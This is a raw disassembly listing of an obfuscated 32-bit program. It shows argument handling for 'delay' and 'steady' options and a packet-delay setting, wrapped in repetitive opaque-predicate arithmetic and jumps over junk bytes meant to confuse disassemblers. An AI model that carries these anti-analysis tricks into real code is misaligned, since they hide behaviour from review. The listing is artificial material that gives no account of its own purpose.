add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x421a28
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ebx, eax
call dbg.__9
movsx eax, al
cmp ebx, eax
je 0x421a28
mov dword [esp + 0x10c], 6
jmp 0x421b30
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x421b2f
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov dword [esp + 0x120], edx
mov dword [esp + 0x124], 0
fild qword [esp + 0x120]
fld qword [esp + 0x178]
fmulp st(1)
fnstcw word [esp + 0x12e]
movzx eax, word [esp + 0x12e]
or ah, 0xc
mov word [esp + 0x12c], ax
fldcw word [esp + 0x12c]
fistp dword [esp + 0x10c]
fldcw word [esp + 0x12e]
jmp 0x421b30
nop
mov edi, dword [esp + 0x10c]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx esi, al
mov eax, ecx
mov edx, 0
div esi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov eax, edi
imul eax, edx
test eax, eax
je 0x4221e0
fld qword [0x43cc00]
fstp qword [esp + 0x888]
xor eax, eax
je 0x421bac
add byte [edi], cl
mov dh, 5
inc esi
test dword [ebx], eax
movzx eax, byte [0x438546]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
movzx eax, byte [0x438542]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
fadd st(0)
fsubp st(1)
fmul qword [esp + 0x888]
fstp qword [esp + 0x180]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x421c8c
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ebx, eax
call dbg.__9
movsx eax, al
cmp ebx, eax
jne 0x421d28
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x421d27
movzx eax, byte [0x438548]
call dbg.__7
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
movzx eax, byte [0x438547]
movzx eax, byte [0x438540]
fld qword [esp + 0x180]
fstp st(0)
jmp 0x421d28
nop
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul eax, ebx
shl eax, 3
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42df41
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
sub eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov dword [esp + 0x120], edx
mov dword [esp + 0x124], 0
fild qword [esp + 0x120]
fstp qword [esp + 0x880]
xor eax, eax
je 0x421df9
add byte [edi], cl
mov dh, 5
inc esi
test dword [ebx], eax
movzx eax, byte [0x438546]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
movzx eax, byte [0x438542]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
fadd st(0)
fsubp st(1)
fmul qword [esp + 0x880]
fstp qword [esp + 0x188]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x421ee2
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ebx, eax
call dbg.__9
movsx eax, al
cmp ebx, eax
je 0x421ee2
mov dword [esp + 0x68], 6
jmp 0x421fe7
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x421fe6
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov dword [esp + 0x120], edx
mov dword [esp + 0x124], 0
fild qword [esp + 0x120]
fld qword [esp + 0x188]
fmulp st(1)
fnstcw word [esp + 0x12e]
movzx eax, word [esp + 0x12e]
or ah, 0xc
mov word [esp + 0x12c], ax
fldcw word [esp + 0x12c]
fistp dword [esp + 0x68]
fldcw word [esp + 0x12e]
jmp 0x421fe7
nop
mov edi, dword [esp + 0x68]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx esi, al
mov eax, ecx
mov edx, 0
div esi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov eax, edi
imul eax, edx
test eax, eax
je 0x42df41
fld qword [0x43cbf8]
fstp qword [esp + 0x878]
xor eax, eax
je 0x42205f
add byte [edi], cl
mov dh, 5
inc esi
test dword [ebx], eax
movzx eax, byte [0x438546]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
movzx eax, byte [0x438542]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
fadd st(0)
fsubp st(1)
fmul qword [esp + 0x878]
fstp qword [esp + 0x190]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42213f
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ebx, eax
call dbg.__9
movsx eax, al
cmp ebx, eax
jne 0x4221db
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x4221da
movzx eax, byte [0x438548]
call dbg.__7
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
movzx eax, byte [0x438547]
movzx eax, byte [0x438540]
fld qword [esp + 0x190]
fstp st(0)
jmp 0x4221db
nop
jmp 0x42df41
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42df59
mov dword [esp + 4], str.delay
mov eax, dword [esp + 0x8e0]
mov dword [esp], eax
call sym._strcmp
test eax, eax
jne 0x42225b
fld1
jmp 0x42225d
fldz
fstp qword [esp + 0x870]
xor eax, eax
je 0x422269
add byte [edi], cl
mov dh, 5
inc esi
test dword [ebx], eax
movzx eax, byte [0x438546]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
movzx eax, byte [0x438542]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
fadd st(0)
fsubp st(1)
fmul qword [esp + 0x870]
fstp qword [esp + 0x198]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x422355
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ebx, eax
call dbg.__9
movsx eax, al
cmp ebx, eax
je 0x422355
mov dword [esp + 0x108], 6
jmp 0x42245d
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42245c
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov dword [esp + 0x120], edx
mov dword [esp + 0x124], 0
fild qword [esp + 0x120]
fld qword [esp + 0x198]
fmulp st(1)
fnstcw word [esp + 0x12e]
movzx eax, word [esp + 0x12e]
or ah, 0xc
mov word [esp + 0x12c], ax
fldcw word [esp + 0x12c]
fistp dword [esp + 0x108]
fldcw word [esp + 0x12e]
jmp 0x42245d
nop
mov edi, dword [esp + 0x108]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx esi, al
mov eax, ecx
mov edx, 0
div esi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov eax, edi
imul eax, edx
test eax, eax
je 0x422503
mov eax, dword [0x4440f4]
mov dword [esp], eax
call sym._atoi
mov dword [esp + 0x8dc], eax
mov eax, dword [esp + 0x8dc]
mov dword [esp], eax
call dbg.session_set_delay
mov eax, dword [esp + 0x8dc]
mov dword [esp + 4], eax
mov dword [esp], str.Setting_delay_between_packets_to__dms
call dbg.log_info
jmp 0x42df41
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul eax, ebx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42df59
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ebx, eax
call dbg.__9
movsx eax, al
sub ebx, eax
mov edx, ebx
mov dword [esp + 0x120], edx
mov dword [esp + 0x124], 0
fild qword [esp + 0x120]
fstp qword [esp + 0x868]
xor eax, eax
je 0x4225bc
add byte [edi], cl
mov dh, 5
inc esi
test dword [ebx], eax
movzx eax, byte [0x438546]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
movzx eax, byte [0x438542]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
fadd st(0)
fsubp st(1)
fmul qword [esp + 0x868]
fstp qword [esp + 0x1a0]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x4226a8
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ebx, eax
call dbg.__9
movsx eax, al
cmp ebx, eax
je 0x4226a8
mov dword [esp + 0x104], 6
jmp 0x4227b0
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x4227af
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov dword [esp + 0x120], edx
mov dword [esp + 0x124], 0
fild qword [esp + 0x120]
fld qword [esp + 0x1a0]
fmulp st(1)
fnstcw word [esp + 0x12e]
movzx eax, word [esp + 0x12e]
or ah, 0xc
mov word [esp + 0x12c], ax
fldcw word [esp + 0x12c]
fistp dword [esp + 0x104]
fldcw word [esp + 0x12e]
jmp 0x4227b0
nop
mov edi, dword [esp + 0x104]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul eax, ebx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx esi, al
mov eax, ecx
mov edx, 0
div esi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov eax, edi
imul eax, edx
test eax, eax
je 0x422e64
fld qword [0x43cbd8]
fstp qword [esp + 0x860]
xor eax, eax
je 0x422825
add byte [edi], cl
mov dh, 5
inc esi
test dword [ebx], eax
movzx eax, byte [0x438546]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
movzx eax, byte [0x438542]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
fadd st(0)
fsubp st(1)
fmul qword [esp + 0x860]
fstp qword [esp + 0x1a8]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x422905
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ebx, eax
call dbg.__9
movsx eax, al
cmp ebx, eax
jne 0x4229a1
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x4229a0
movzx eax, byte [0x438548]
call dbg.__7
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
movzx eax, byte [0x438547]
movzx eax, byte [0x438540]
fld qword [esp + 0x1a8]
fstp st(0)
jmp 0x4229a1
nop
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42df41
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov dword [esp + 0x120], edx
mov dword [esp + 0x124], 0
fild qword [esp + 0x120]
fstp qword [esp + 0x858]
xor eax, eax
je 0x422a7a
add byte [edi], cl
mov dh, 5
inc esi
test dword [ebx], eax
movzx eax, byte [0x438546]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
movzx eax, byte [0x438542]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
fadd st(0)
fsubp st(1)
fmul qword [esp + 0x858]
fstp qword [esp + 0x1b0]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x422b63
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ebx, eax
call dbg.__9
movsx eax, al
cmp ebx, eax
je 0x422b63
mov dword [esp + 0x64], 6
jmp 0x422c68
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x422c67
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov dword [esp + 0x120], edx
mov dword [esp + 0x124], 0
fild qword [esp + 0x120]
fld qword [esp + 0x1b0]
fmulp st(1)
fnstcw word [esp + 0x12e]
movzx eax, word [esp + 0x12e]
or ah, 0xc
mov word [esp + 0x12c], ax
fldcw word [esp + 0x12c]
fistp dword [esp + 0x64]
fldcw word [esp + 0x12e]
jmp 0x422c68
nop
mov edi, dword [esp + 0x64]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx esi, al
mov eax, ecx
mov edx, 0
div esi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov eax, edi
imul eax, edx
test eax, eax
je 0x42df41
fld qword [0x43cbe0]
fstp qword [esp + 0x850]
xor eax, eax
je 0x422ce3
add byte [edi], cl
mov dh, 5
inc esi
test dword [ebx], eax
movzx eax, byte [0x438546]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
movzx eax, byte [0x438542]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
fadd st(0)
fsubp st(1)
fmul qword [esp + 0x850]
fstp qword [esp + 0x1b8]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x422dc3
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ebx, eax
call dbg.__9
movsx eax, al
cmp ebx, eax
jne 0x422e5f
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x422e5e
movzx eax, byte [0x438548]
call dbg.__7
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
movzx eax, byte [0x438547]
movzx eax, byte [0x438540]
fld qword [esp + 0x1b8]
fstp st(0)
jmp 0x422e5f
nop
jmp 0x42df41
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul eax, ebx
shl eax, 3
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42df59
mov dword [esp + 4], str.steady
mov eax, dword [esp + 0x8e0]
mov dword [esp], eax
call sym._strcmp
test eax, eax
jne 0x422ed9
fld1
jmp 0x422edb
fldz
fstp qword [esp + 0x848]
xor eax, eax
je 0x422ee7
add byte [edi], cl
mov dh, 5
inc esi
test dword [ebx], eax
movzx eax, byte [0x438546]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
movzx eax, byte [0x438542]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
fadd st(0)
fsubp st(1)
fmul qword [esp + 0x848]
fstp qword [esp + 0x1c0]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x422fd3
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ebx, eax
call dbg.__9
movsx eax, al
cmp ebx, eax
je 0x422fd3
mov dword [esp + 0x100], 6
jmp 0x4230db
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x4230da
